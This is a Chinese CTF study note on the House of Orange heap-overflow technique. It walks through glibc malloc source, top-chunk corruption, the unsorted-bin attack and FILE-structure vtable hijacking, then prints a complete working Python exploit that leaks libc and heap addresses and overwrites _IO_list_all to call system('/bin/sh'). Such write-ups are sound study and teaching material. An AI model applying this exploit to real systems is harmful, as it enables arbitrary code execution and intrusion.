堆溢位-House of orange 學習筆記
前幾天把House of orange重新學習了一下,比照著glibc
malloc的原始碼好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的筆記如下,可能描述上有點亂,大家將就著看一下吧。同時,我也發在了我個人部落格上面 (http://blog.leanote.com/simp1e), 如果有錯誤的地方,請各位大牛多多指正。
0x00 程式描述
大名鼎鼎的house_of_orange程式邏輯還比較清晰的,一共可以build四次,然後每次build的話就是3次堆分配,兩次malloc,一次calloc,其中一次malloc是固定分配0x10位元組作為控制堆塊,裡面存放著name和color的資訊,另外按輸入分配name的大小。
0x01 程式漏洞
1. 堆溢位
在upgrade函式中,修改name時候不顧實際chunk的堆大小是多少,直接進行編輯,最大可編輯0x1000大小,因而存在溢位。
0x02 漏洞利用
這裡的利用思路是4ngelboy給出,下面就直接分析這樣利用的原因。
1. 資訊洩露 (洩露libc地址)
因為程式中有堆的越界寫,可以修改top_chunk的大小。在malloc原始碼裡面如果申請的堆塊大小超過了top_chunk的大小,將呼叫sysmalloc來進行分配。sysmalloc裡面針對這種情況有兩種處理,一種是直接mmap出來一塊記憶體,另一種是擴充套件top_chunk
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))
{
char *mm; /* return value from mmap call*/
try_mmap:
就是如果申請大小>=mp_.mmap_threshold,就會mmap。我們質只要申請不要過大,一般不會觸發這個,這個mmap_threshold的值為128*1024。
不過下面還有兩個assert需要檢查,如下
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
第一個assert就是要求修改後的top_chunk_size必須滿足
top_chunk_size>MINSIZE(MINISIZE)沒有查到是多少,反正不要太小都行
top_chunk需要有pre_in_use的標誌,就是最後一個位元為1
還有就是(old_end &pagemask ==0)#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))這裡沒有太深究,應該就是top_chunk需要和原來的堆頁在一個頁上吧。
第二個assert就是要求
top_chunk_size小於申請分配的記憶體即可
滿足以上四個條件之後,繼續往下執行最後把原先的那個old_top給釋放掉了,如下
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
顯然,這樣的free操作的話,我們就可以得到一個unsort_bin,然後之後再次分配時候如果是符合unsort_bin大小的話,就會從unsort_bin裡面切出來。
這樣的話我們再次申請一個堆塊分配到這塊區域中就能洩露libc地址了,但是這裡又有一個trick,如果我們分配的大小是large_chunk的話。malloc原始碼中還把old_top的堆地址放到了堆裡面(沒有細究原因,但是好像是large bin沒有區分大小,需要有個欄位來儲存大小的原因吧),原始碼如下
所以如果再次分配時候如果分配大小為largebin(也就是大於512位元組)的chunk的話,就是可以既洩露libc又可以洩露heap。如下
而如果分配大小不到512位元組時候是無法洩露堆地址的。
2. 劫持流程
File Stream Oriented Programming
我們知道有rop即retn Oriented Programming,那麼其實File Stream Oriented Programming是一個道理的。也是一種劫持程式流程的方法,只不過方式是通過攻擊File Stream來實現罷了。
我們先要了解malloc對錯誤資訊的處理過程,malloc_printerr是malloc中用來列印錯誤的函式。
malloc_printerr其實是呼叫__libc_message函式之後呼叫abort函式,abort函式其中呼叫了_IO_flush_all_lockp,這裡面用到IO_FILE_ALL裡面的結構,採用的是虛表呼叫的方式。
其中使用到了IO_FILE物件中的虛表,如果我們能夠修改IO_FILE的內容那麼就可以一定程度上劫持流程。IO_FILE_ALL是一個指向IO_FILE_plus的結構指標,結構如下圖所示,具體結構不需要太瞭解清晰,大概懂一些也就行。
那麼怎麼劫持呢,這裡又需要用到unsortbin attack的知識。unsortbin attack是怎麼一回事呢,其實就是在malloc的過程中,unsortbin會從連結串列上卸下來(只要分配的大小不是fastchunk大小)
如上程式碼所示,就是會把bk+0x10的地方寫入本unsort_bin的地址,
我們通過記憶體斷點來觀察一下是如何進行的。
斷點觸發之後,發現io_file_all被修改成了指向top_chunk的指標時間地址位於main_arena。
但是我們是無法控制main_arena的內容的,至少全部控制是不行的,那麼怎麼處理呢?
這裡還是要牽扯到io_file的使用,IO_FILE結構中有一個欄位是chian欄位,它位於0x60偏移處,他指向的是下一個IO_FILE結構體,我們如果可以控制這個欄位,就再次指定io_file的位置,它相當於是一個連結串列的結構
這樣的話又聯絡到smallchunk的問題,在拆卸unsort_bin時候對屬於small_bin的chunk進行了記錄操作。
這個時候IO_FILE_all指向的正是main_arena的bins裡面unsortbin的位置,那麼偏移0x60處正好是,smallchunk的index為6的地方,也就是滿足大小為16*6的chunk,所以upgrade時候需要把unsortbin設定為0x60大小。
while (fp != NULL)
{
…
fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
因為第一個分配在main_arena的IO_FILE_plus結構的fp->mode等值不符合要求,就會通過chains跳轉到就下一個IO_FILE_plus就是我們之前設定的unsortbin,然後需要滿足一下條件
fp->mode>0
_IO_vtable_offset (fp) ==0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
這裡的話我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然後就會呼叫虛表+0x18偏移處的函式了。
0xFE 利用exp
#coding:utf-8
from zio import *
from pwn import *
import mypwn
def menu(io,choice):
io.read_until('Your choice :')
io.writeline(str(choice))
def build(io,len,name,price,color):
menu(io,1)
io.read_until('name :')
io.writeline(str(len))
io.read_until('Name :')
io.write(name)
io.read_until('Price of Orange:')
io.writeline(str(price))
io.read_until(' Orange:')
io.writeline(str(color))
def see(io):
menu(io,2)
def upgrade(io,nlen,nname,nprice,ncolor):
menu(io,3)
io.read_until('name :')
io.writeline(str(nlen))
io.read_until('Name:')
io.write(nname)
io.read_until('Price of Orange:')
io.writeline(str(nprice))
io.read_until(' Orange:')
io.writeline(str(ncolor))
if __name__ == '__main__':
binary_path = "./houseoforange"
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
target = binary_path
bin=ELF(binary_path)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
if target==binary_path:
l=ELF("/lib/x86_64-linux-gnu/libc.so.6")
offset_main_arena=l.symbols['__malloc_hook']+0x20
else:
pass
#l=ELF("")
#offset_main_arena
build(io,0x80,'simp1e',0x1234,0xddaa)
fake_color=p32(666)+p32(0xddaa)
overflow_name='a'*0x90+fake_color+p64(0)*2+p64(0xf31)
upgrade(io,0xb1,overflow_name,666,0xddaa)
build(io,0x1000,'1'+'\n',0x1234,0xddaa)
build(io,0x400,"a"*8,199,2)
see(io)
io.read_until('Name of house : '+'a'*8)
data=io.read_until('\n')[:-1]
io.gdb_hint()
heap_ptr=mypwn.uu64(data)
real_main_arena=heap_ptr-0x668
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('real_main_arena',real_main_arena)
libc_base=real_main_arena-offset_main_arena
real_system=libc_base+l.symbols['system']
upgrade(io,0x400,"b"*0x10,666,2)
see(io)
io.read_until('Name of house : '+'b'*0x10)
data=io.read_until('\n')[:-1]
heap_ptr=mypwn.uu64(data)
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('_IO_list_all',l.symbols['_IO_list_all'])
io_list_all=libc_base+l.symbols['_IO_list_all']
vtable_addr=heap_ptr + 0x530-8
payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?
fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(heap_ptr+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(1)
payload+=fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(real_system)
upgrade(io,0x800,payload,666,2)
io.interact()
0xff 參考資料
http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
http://www.cnblogs.com/shangye/p/6268981.html
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
本文由看雪論壇 simSimple原創 轉載請註明來自看雪社群
相關文章
- 堆溢位學習筆記2020-08-19筆記
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)2020-12-12阿里Java記憶體溢位
- CSS學習筆記:溢位文字省略(text-overflow)2014-09-21CSS筆記
- Redis 報”OutOfDirectMemoryError“(堆外記憶體溢位)2023-04-17RedisError記憶體溢位
- 堆溢位之Overlapping2018-05-05APP
- StackOverflowError堆疊溢位錯誤2024-07-05Error
- ACM學習筆記:二叉堆2021-08-17ACM筆記
- *衡樹 Treap(樹堆) 學習筆記2022-01-29筆記
- 基礎學習-記憶體溢位問題2024-03-21記憶體溢位
- SMT整型溢位漏洞分析筆記2018-06-19筆記
- Linux kernel 堆溢位利用方法2024-10-18Linux
- 學習筆記:數位dp2020-10-06筆記
- 數位DP 學習筆記2024-03-06筆記
- 【學習筆記】數位DP2024-09-17筆記
- JNI練習-記憶體溢位2015-05-18記憶體溢位
- 記憶體溢位:native溢位 和 上層溢位2016-11-17記憶體溢位
- Linux kernel 堆溢位利用方法(二)2024-11-11Linux
- 《深入理解java虛擬機器》學習筆記2——Java記憶體溢位例項2013-12-04Java虛擬機筆記記憶體溢位
- 異常、堆記憶體溢位、OOM的幾種情況2018-09-22記憶體溢位OOM
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 堆疊溢位報錯引發的思考2019-03-03
- 【C++學習筆記】啥叫堆?啥叫棧?2017-04-03C++筆記
- mysql修改表欄位學習筆記2018-07-25MySql筆記
- Java棧溢位|記憶體洩漏|記憶體溢位2024-08-13Java記憶體溢位
- CSS 小結筆記之文字溢位處理2018-09-13CSS筆記
- 記憶體溢位2020-10-23記憶體溢位
- win10黑屏了堆疊溢位怎麼辦_win10系統黑屏提示堆疊溢位解決教程2020-05-01Win10
- CVE-2018-0758 字串連線整數溢位導致堆溢位2018-01-26字串
- C語言學習筆記——位運算2019-11-12C語言筆記
- JVM 深入筆記(2)記憶體溢位場景模擬2012-02-27JVM筆記記憶體溢位
- 記一次公司JVM堆溢位抽絲剝繭定位的過程2020-07-20JVM
- 記一次公司JVM堆溢位抽繭剝絲定位的過程2020-10-14JVM
- Linux堆管理實現原理學習筆記 (上半部)2020-08-19Linux筆記
- 如何解決快應用堆疊溢位問題2021-07-30
- Java記憶體溢位2021-03-20Java記憶體溢位
- JBOSS記憶體溢位2007-08-20記憶體溢位
- Java記憶體區域與記憶體溢位異常(JVM學習系列1)2018-07-30Java記憶體溢位JVM
- JVM 深入筆記(2)記憶體區溢位場景模擬2012-03-04JVM筆記記憶體